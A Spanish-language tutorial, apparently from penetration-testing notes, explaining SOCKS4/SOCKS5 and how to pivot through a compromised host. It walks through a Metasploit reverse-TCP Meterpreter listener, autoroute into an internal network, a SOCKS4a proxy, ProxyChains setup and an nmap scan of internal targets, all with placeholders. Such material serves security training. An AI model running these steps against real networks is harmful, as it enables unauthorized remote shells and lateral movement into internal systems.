# ¿Que es Socks?

SOCKS (Socket Secure) es un protocolo de red que facilita el enrutamiento del tráfico de red entre clientes y servidores a través de un proxy. SOCKS opera en la capa de sesión (capa 5) del modelo OSI y es utilizado para superar firewalls y sistemas de filtrado de tráfico. Existen dos versiones principales de SOCKS: SOCKS4 y SOCKS5, siendo SOCKS5 la versión más avanzada, que incluye soporte para autenticación y protocolos adicionales.

* <mark style="color:green;">**SOCKS4**</mark><mark style="color:green;">:</mark> Protocolo básico que maneja el tráfico TCP, pero no incluye autenticación.
* <mark style="color:green;">**SOCKS5**</mark><mark style="color:green;">:</mark> Protocolo más avanzado que maneja tráfico TCP y UDP, e incluye autenticación y soporte para protocolos adicionales.

## <mark style="color:green;">**Relación entre SOCKS y el Pivoting**</mark>

El pivoting implica el uso de una máquina comprometida como un punto de tránsito para acceder a otras máquinas en una red interna que no son directamente accesibles desde la red externa. SOCKS juega un papel crucial en este proceso al actuar como un intermediario que redirige el tráfico a través de la máquina comprometida.

### <mark style="color:green;">**Cómo Utilizar SOCKS para Pivoting**</mark>

1. <mark style="color:green;">**Configuración de un Proxy SOCKS en la Máquina Comprometida**</mark><mark style="color:green;">:</mark> Se instala y configura un servidor SOCKS en la máquina comprometida.
2. <mark style="color:green;">**Redirección del Tráfico a Través del Proxy SOCKS**</mark><mark style="color:green;">:</mark> El tráfico de la máquina atacante se redirige a través del proxy SOCKS utilizando herramientas como ProxyChains.
3. <mark style="color:green;">**Acceso a Recursos Internos**</mark><mark style="color:green;">:</mark> El proxy SOCKS permite a la máquina atacante acceder a recursos internos de la red comprometida como si estuviera directamente conectada a esa red.

### <mark style="color:green;">**Ejemplo de Uso de SOCKS en Pivoting**</mark>

**1. Configuración del Proxy SOCKS en la Máquina Comprometida (con Metasploit)**

* <mark style="color:green;">**Paso 1**</mark><mark style="color:green;">:</mark> Establecer una sesión Meterpreter en la máquina comprometida.

  ```shell
  use exploit/multi/handler
  set payload windows/meterpreter/reverse_tcp
  set LHOST <your_IP>
  set LPORT <your_port>
  exploit
  ```
* <mark style="color:green;">**Paso 2**</mark><mark style="color:green;">:</mark> Configurar un route en Meterpreter.

  ```shell
  meterpreter > run autoroute -s <internal_network>/24
  ```
* <mark style="color:green;">**Paso 3**</mark><mark style="color:green;">:</mark> Iniciar un servidor SOCKS4a en Metasploit.

  ```shell
  use auxiliary/server/socks4a
  set SRVHOST 0.0.0.0
  set SRVPORT 1080
  run
  ```

**2. Redirección del Tráfico a Través del Proxy SOCKS (con ProxyChains)**

* <mark style="color:green;">**Paso 4**</mark><mark style="color:green;">:</mark> Configurar ProxyChains en la máquina atacante.

  ```shell
  echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf
  ```
* <mark style="color:green;">**Paso 5**</mark><mark style="color:green;">:</mark> Utilizar ProxyChains para redirigir el tráfico a través del proxy SOCKS.

  ```shell
  proxychains nmap -sT -Pn -n -p 80,443 <target_internal_IP>
  ```
